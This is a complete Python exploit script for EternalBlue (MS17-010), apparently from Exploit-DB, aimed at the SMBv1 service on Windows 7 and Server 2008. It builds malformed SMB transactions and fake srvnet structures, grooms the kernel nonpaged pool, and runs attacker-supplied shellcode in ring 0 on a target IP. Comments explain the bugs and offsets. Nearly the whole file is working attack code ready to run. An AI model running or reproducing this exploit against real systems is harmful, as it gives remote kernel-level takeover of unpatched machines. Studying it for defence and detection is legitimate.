#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket

'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

EDB Note: Shellcode
- x64 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42030.asm
- x86 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42031.asm

Tested on:
- Windows 7 SP1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x86
- Windows 2008 SP1 x64
- Windows 2008 SP1 x86

Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/


Bug detail:
- For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- The exploit also use other 2 bugs (see details in BUG.txt)
  - Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug)
  - Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole)
######


Exploit info:
- I do not reverse engineer any x86 binary so I do not know about exact offset.
- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
  This memory page is executable on Windows 7 and Wndows 2008.
- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
- The exploit trick is same as NSA exploit
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.


srvnet buffer info:
- srvnet buffer contains a pointer to another struct and MDL about received buffer
  - Controlling MDL values results in arbitrary write
  - Controlling pointer to fake struct results in code execution because there is pointer to function
- A srvnet buffer is created after target receiving first 4 bytes
  - First 4 bytes contains length of SMB message
  - The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
- SrvNetCommonReceiveHandler() passes SMB message to SMB handler
  - If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
  - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
  - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
  - Memory leak is ok to be ignored


Shellcode note:
- Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL
- Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL)
  - On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082)
  - IA32_LSTAR MSR scope is core/thread/unique depended on CPU model
  - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to 
      get call because it is called on other processors
  - Shellcode should be aware of double overwriting system call target address when using hijacking system call method
- Then, using APC in Process context to get code execution in userland (ring 3)

#E-DB Note: https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a
#E-DB Note: https://github.com/worawit/MS17-010/blob/eafb47d715fe38045c9ea6dc4cb75ca0ef5487ce/eternalblue_exploit7.py
'''

# Note: see how to craft FEALIST in eternalblue_poc.py

# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
# the size 0x11000 is used in nsa exploit. this size is more reliable.
NTFEA_SIZE = 0x11000
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page

ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde

ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600  # with these fea, ntfea size is 0x1c20
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be  # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc

ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494  # with these fea, ntfea size is 0x1b6f0
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee  # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec

ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }

'''
Reverse from srvnet.sys (Win7 x64)
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():

// for x64
struct SRVNET_BUFFER {
	// offset from POOLHDR: 0x10
	USHORT flag;
	char pad[2];
	char unknown0[12];
	// offset from SRVNET_POOLHDR: 0x20
	LIST_ENTRY list;
	// offset from SRVNET_POOLHDR: 0x30
	char *pnetBuffer;
	DWORD netbufSize;  // size of netBuffer
	DWORD ioStatusInfo;  // copy value of IRP.IOStatus.Information
	// offset from SRVNET_POOLHDR: 0x40
	MDL *pMdl1; // at offset 0x70
	DWORD nByteProcessed;
	DWORD pad3;
	// offset from SRVNET_POOLHDR: 0x50
	DWORD nbssSize;  // size of this smb packet (from user)
	DWORD pad4;
	QWORD pSrvNetWskStruct;  // want to change to fake struct address
	// offset from SRVNET_POOLHDR: 0x60
	MDL *pMdl2;
	QWORD unknown5;
	// offset from SRVNET_POOLHDR: 0x70
	// MDL mdl1;  // for this srvnetBuffer (so its pointer is srvnetBuffer address)
	// MDL mdl2;
	// char transportHeader[0x50];  // 0x50 is TRANSPORT_HEADER_SIZE
	// char netBuffer[0];
};

struct SRVNET_POOLHDR {
	DWORD size;
	char unknown[12];
	SRVNET_BUFFER hdr;
};
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
#                           The value MUST point to valid (might be fake) struct.
# - offset 0x70 (MDL)   : MDL for describe receiving SMB request buffer
#   - 0x70 (VOID*)    : MDL.Next should be NULL
#   - 0x78 (USHORT)   : MDL.Size should be some value that not too small
#   - 0x7a (USHORT)   : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
#   - 0x80 (VOID*)    : MDL.Process should be NULL
#   - 0x88 (VOID*)    : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
#                         The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#                         
#
# To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)
#                           a corrupted buffer MUST not be reused.
# - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
#                           before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
#                           your shellcode as function argument
# - offset 0x60 (PMDL)  : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
#     \x48\x8b\x54\x24\x40  mov rdx, [rsp+0x40]
# - set nByteProcessed for trigger free after return
#     \x8b\x4a\x2c          mov ecx, [rdx+0x2c]
#     \x89\x4a\x38          mov [rdx+0x38], ecx

TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000

fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += '\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0)  # _, x86 MDL.Next, .Size, .MdlFlags, .Process
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64)  # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)  # x64 pmdl2
# below 0x20 bytes is overwritting MDL
# NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)  # MDL.Process, MDL.MappedSystemVa

# below is for targeting x64 only (all x86 related values are set to 0)
# this is for show what fields need to be modified
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16  # 0x40
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64)  # _, _, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)  # pmdl2
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)  # MDL.Process, MDL.MappedSystemVa


fakeSrvNetBuffer = fakeSrvNetBufferNsa
#fakeSrvNetBuffer = fakeSrvNetBufferX64

feaList = pack('<I', 0x10000)  # the value of feaList size MUST be >=0x10000 to trigger bug (but must be less than data size)
feaList += ntfea[NTFEA_SIZE]
# Note:
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
#   - x64: below fea will be copy to offset 0x11000 of overflow buffer
#   - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)


# fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00010
#   offset 0xa0:  LIST_ENTRY must be valid address. cannot be NULL.
#   offset 0x08:  set to 3 (DWORD) for invoking ptr to function
#   offset 0x1d0: KSPIN_LOCK
#   offset 0x1d8: array of pointer to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += ('\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0)  # offset 0xa0 (LIST_ENTRY to itself)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0)  # x86 LIST_ENTRY
fake_recv_struct += ('\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190)  # fn_ptr array on x86
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0)  # x86 shellcode address
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0)  # offset 0x1d0: KSPINLOCK, fn_ptr array
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1)  # x64 shellcode address - 1 (this value will be increment by one)


def getNTStatus(self):
	return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)

def sendEcho(conn, tid, data):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
	transCommand['Parameters'] = smb.SMBEcho_Parameters()
	transCommand['Data'] = smb.SMBEcho_Data()

	transCommand['Parameters']['EchoCount'] = 1
	transCommand['Data']['Data'] = data
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB()
	if recvPkt.getNTStatus() == 0:
		print('got good ECHO response')
	else:
		print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))


def createSessionAllocNonPaged(target, size):
	# There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool.
	# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan.
	# The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size"
	
	# Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data. 
	# For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command.
	# - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication
	#   - GetNtSecurityParameters() function is resposible for extracting data from this packet format
	# - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication
	#   - GetExtendSecurityParameters() function is resposible for extracting data from this packet format
	
	# These 2 formats have different WordCount (first one is 13 and later is 12). 
	# Here is logic in BlockingSessionSetupAndX() related to this bug
	# - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format)
	# - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request
	# - else, process a message as NT Security request
	
	# So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY.
	# With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size".
	# But GetExtendSecurityParameters() checks ByteCount value again.
	
	# So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY.
	
	conn = smb.SMB(target, target)
	_, flags2 = conn.get_flags()
	# FLAGS2_EXTENDED_SECURITY MUST not be set
	flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
	# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
	if size >= 0xffff:
		flags2 &= ~smb.SMB.FLAGS2_UNICODE
		reqSize = size // 2
	else:
		flags2 |= smb.SMB.FLAGS2_UNICODE
		reqSize = size
	conn.set_flags(flags2=flags2)
	
	pkt = smb.NewSMBPacket()

	sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
	sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

	sessionSetup['Parameters']['MaxBufferSize']      = 61440  # can be any value greater than response size
	sessionSetup['Parameters']['MaxMpxCount']        = 2  # can by any value
	sessionSetup['Parameters']['VcNumber']           = 2  # any non-zero
	sessionSetup['Parameters']['SessionKey']         = 0
	sessionSetup['Parameters']['SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
	# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
	sessionSetup['Parameters']['Capabilities']       = smb.SMB.CAP_EXTENDED_SECURITY  # can add other flags

	sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
	pkt.addCommand(sessionSetup)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB()
	if recvPkt.getNTStatus() == 0:
		print('SMB1 session setup allocate nonpaged pool success')
	else:
		print('SMB1 session setup allocate nonpaged pool failed')
	return conn


# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
    structure = (
        ('TotalParameterCount','<H=0'),
        ('TotalDataCount','<H'),
        ('ParameterCount','<H=0'),
        ('ParameterOffset','<H=0'),
        ('ParameterDisplacement','<H=0'),
        ('DataCount','<H'),
        ('DataOffset','<H'),
        ('DataDisplacement','<H=0'),
        ('FID','<H=0'),
    )

def send_trans2_second(conn, tid, data, displacement):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	# assume no params

	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
	transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
	transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

	transCommand['Parameters']['TotalParameterCount'] = 0
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+18
	transCommand['Data']['Pad1'] = ''

	transCommand['Parameters']['ParameterCount'] = 0
	transCommand['Parameters']['ParameterOffset'] = 0

	if len(data) > 0:
		pad2Len = (4 - fixedOffset % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:
		transCommand['Data']['Pad2'] = ''
		pad2Len = 0

	transCommand['Parameters']['DataCount'] = len(data)
	transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
	transCommand['Parameters']['DataDisplacement'] = displacement

	transCommand['Data']['Trans_Parameters'] = ''
	transCommand['Data']['Trans_Data'] = data
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)


def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
	# Here is another bug in MS17-010.
	# To call transaction subcommand, normally a client need to use correct SMB commands as documented in
	#   https://msdn.microsoft.com/en-us/library/ee441514.aspx
	# If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client 
	#   can use *_SECONDARY command to send transaction message. When sending a transaction completely with
	#   *_SECONDARY command, a server uses the last command that complete the transaction.
	# For example:
	# - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*.
	# - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*.
	#
	# Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same.
	# For example:
	# - a client start transaction with SMB_COM_NT_TRANSACT command
	# - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY
	# - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY
	# - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field)
	
	# From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction 
	#   with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT
	# While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount
	#   field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx).
	# Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction)
	
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	command = pack('<H', setup)
	
	# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
	transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
	transCommand['Parameters']['MaxSetupCount'] = 1
	transCommand['Parameters']['MaxParameterCount'] = len(param)
	transCommand['Parameters']['MaxDataCount'] = 0
	transCommand['Data'] = smb.SMBTransaction2_Data()

	transCommand['Parameters']['Setup'] = command
	transCommand['Parameters']['TotalParameterCount'] = len(param)
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+38 + len(command)
	if len(param) > 0:
		padLen = (4 - fixedOffset % 4 ) % 4
		padBytes = '\xFF' * padLen
		transCommand['Data']['Pad1'] = padBytes
	else:
		transCommand['Data']['Pad1'] = ''
		padLen = 0

	transCommand['Parameters']['ParameterCount'] = len(param)
	transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

	if len(data) > 0:
		pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:
		transCommand['Data']['Pad2'] = ''
		pad2Len = 0

	transCommand['Parameters']['DataCount'] = firstDataFragmentSize
	transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

	transCommand['Data']['Trans_Parameters'] = param
	transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	conn.recvSMB() # must be success
	
	# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
	i = firstDataFragmentSize
	while i < len(data):
		# limit data to 4096 bytes per SMB message because this size can be used for all Windows version
		sendSize = min(4096, len(data) - i)
		if len(data) - i <= 4096:
			if not sendLastChunk:
				break
		send_trans2_second(conn, tid, data[i:i+sendSize], i)
		i += sendSize
	
	if sendLastChunk:
		conn.recvSMB()
	return i

	
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target
# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)
def createConnectionWithBigSMBFirst80(target):
	# https://msdn.microsoft.com/en-us/library/cc246496.aspx
	# Above link is about SMB2, but the important here is first 4 bytes.
	# If using wireshark, you will see the StreamProtocolLength is NBSS length.
	# The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.
	#
	# After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.
	# srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.
	# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
	sk = socket.create_connection((target, 445))
	# For this exploit, use size is 0x11000
	pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
	# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
	# Also this is invalid SMB2 message.
	# I believe NSA exploit use SMB2 for hiding alert from IDS
	#pkt += '\xfeSMB' # smb2
	# it can be anything even it is invalid
	pkt += 'BAAD' # can be any
	pkt += '\x00'*0x7c
	sk.send(pkt)
	return sk


def exploit(target, shellcode, numGroomConn):
	# force using smb.SMB for SMB1
	conn = smb.SMB(target, target)

	# can use conn.login() for ntlmv2
	conn.login_standard('', '')
	server_os = conn.get_server_os()
	print('Target OS: '+server_os)
	if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
		print('This exploit does not support this target')
		sys.exit()
	

	tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
	
	# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
	# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
	progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
	# we have to know what size of NtFeaList will be created when last fragment is sent

	# make sure server recv all payload before starting allocate big NonPaged
	#sendEcho(conn, tid, 'a'*12)

	# create buffer size NTFEA_SIZE-0x1000 at server
	# this buffer MUST NOT be big enough for overflown buffer
	allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
	
	# groom nonpaged pool
	# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
	srvnetConn = []
	for i in range(numGroomConn):
		sk = createConnectionWithBigSMBFirst80(target)
		srvnetConn.append(sk)

	# create buffer size NTFEA_SIZE at server
	# this buffer will be replaced by overflown buffer
	holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
	# disconnect allocConn to free buffer
	# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
	allocConn.get_socket().close()

	# hope one of srvnetConn is next to holeConn
	for i in range(5):
		sk = createConnectionWithBigSMBFirst80(target)
		srvnetConn.append(sk)
		
	# send echo again, all new 5 srvnet buffers should be created
	#sendEcho(conn, tid, 'a'*12)
	
	# remove holeConn to create hole for fea buffer
	holeConn.get_socket().close()

	# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
	send_trans2_second(conn, tid, feaList[progress:], progress)
	recvPkt = conn.recvSMB()
	retStatus = recvPkt.getNTStatus()
	# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
	if retStatus == 0xc000000d:
		print('good response status: INVALID_PARAMETER')
	else:
		print('bad response status: 0x{:08x}'.format(retStatus))
		

	# one of srvnetConn struct header should be modified
	# a corrupted buffer will write recv data in designed memory address
	for sk in srvnetConn:
		sk.send(fake_recv_struct + shellcode)

	# execute shellcode by closing srvnet connection
	for sk in srvnetConn:
		sk.close()

	# nicely close connection (no need for exploit)
	conn.disconnect_tree(tid)
	conn.logoff()
	conn.get_socket().close()


if len(sys.argv) < 3:
	print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
	sys.exit(1)

TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])

fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()

print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))

exploit(TARGET, sc, numGroomConn)
print('done')